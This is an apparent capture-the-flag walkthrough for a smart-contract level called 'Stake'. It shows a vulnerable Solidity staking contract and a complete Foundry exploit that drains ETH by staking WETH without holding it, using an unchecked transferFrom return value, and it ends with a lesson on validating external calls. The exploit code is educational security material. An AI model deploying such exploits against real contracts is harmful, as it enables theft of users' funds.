Level 31 - Stake ⏺⏺⏺
Last updated
Last updated
Stake is safe for staking native ETH and ERC20 WETH, considering the same 1:1 value of the tokens. Can you drain the contract?
To complete this level, the contract state must meet the following conditions:
The Stake
contract's ETH balance has to be greater than 0.
totalStaked
must be greater than the Stake
contract's ETH balance.
You must be a staker.
Your staked balance must be 0.
Things that might be useful:
specification.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {
uint256 public totalStaked;
mapping(address => uint256) public UserStake;
mapping(address => bool) public Stakers;
address public WETH;
constructor(address _weth) payable{
totalStaked += msg.value;
WETH = _weth;
}
function StakeETH() public payable {
require(msg.value > 0.001 ether, "Don't be cheap");
totalStaked += msg.value;
UserStake[msg.sender] += msg.value;
Stakers[msg.sender] = true;
}
function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
(,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
Stakers[msg.sender] = true;
return transfered;
}
function Unstake(uint256 amount) public returns (bool){
require(UserStake[msg.sender] >= amount,"Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success, ) = payable(msg.sender).call{value : amount}("");
return success;
}
function bytesToUint(bytes memory data) internal pure returns (uint256) {
require(data.length >= 32, "Data length must be at least 32 bytes");
uint256 result;
assembly {
result := mload(add(data, 0x20))
}
return result;
}
}
make anvil-exploit-level-31
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
make holesky-exploit-level-31
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// ================================================================
// │ LEVEL 31 - STAKE │
// ================================================================
interface IStake {
function StakeETH() external payable;
}
contract AttackContract {
IStake private immutable stake;
constructor(address _stakeContract) payable {
stake = IStake(_stakeContract);
}
function attack() external payable {
// Become a staker with 0.001 ETH + 2 wei (1 will be left behind)
stake.StakeETH{value: msg.value}();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
import {AttackContract} from "src/Level31.sol";
// ================================================================
// │ LEVEL 31 - STAKE │
// ================================================================
interface IWETH {
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IStake {
function WETH() external view returns (address);
function totalStaked() external view returns (uint256);
function StakeETH() external payable;
function StakeWETH(uint256 amount) external returns (bool);
function Unstake(uint256 amount) external returns (bool);
function Stakers(address) external view returns (bool);
function UserStake(address) external view returns (uint256);
}
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
IStake stake = IStake(targetContractAddress);
uint256 amount = 0.001 ether + 1 wei;
IWETH weth = IWETH(stake.WETH());
vm.startBroadcast();
// Deploy the AttackContract contract and stake some ETH
AttackContract attackContract = new AttackContract(address(stake));
attackContract.attack{value: amount + 1 wei}();
// Become a staker
stake.StakeETH{value: amount}();
// Approve the stake contract to use WETH
weth.approve(address(stake), amount);
// Stake WETH (that we don't have!)
stake.StakeWETH(amount);
// Unstake ETH + WETH (leave 1 wei in Stake contract)
stake.Unstake(amount * 2);
// 1. The Stake contract's ETH balance has to be greater than 0
console.log("Stake contract ETH balance:", address(stake).balance);
require(address(stake).balance > 0, "Stake balance == 0");
// 2. totalStaked must be greater than the Stake contract's ETH balance
console.log("Total staked:", stake.totalStaked());
require(stake.totalStaked() > address(stake).balance, "Balance > Total staked");
// 3. You must be a staker.
console.log("You are a staker:", stake.Stakers(address(msg.sender)), address(msg.sender));
require(stake.Stakers(address(msg.sender)), "You are not a staker");
// 4. Your staked balance must be 0.
console.log("Your staked balance:", stake.UserStake(address(msg.sender)));
require(stake.UserStake(address(msg.sender)) == 0, "Your staked balance != 0");
vm.stopBroadcast();
}
}
Submit instance... 🥳
Congratulations, you have cracked the Stake
machine!
When performing low-level calls to external contracts, it is important to properly validate external call returns to determine whether the call reverted.
For more info, check out requirement, and always use when interacting with external ERC-20 tokens.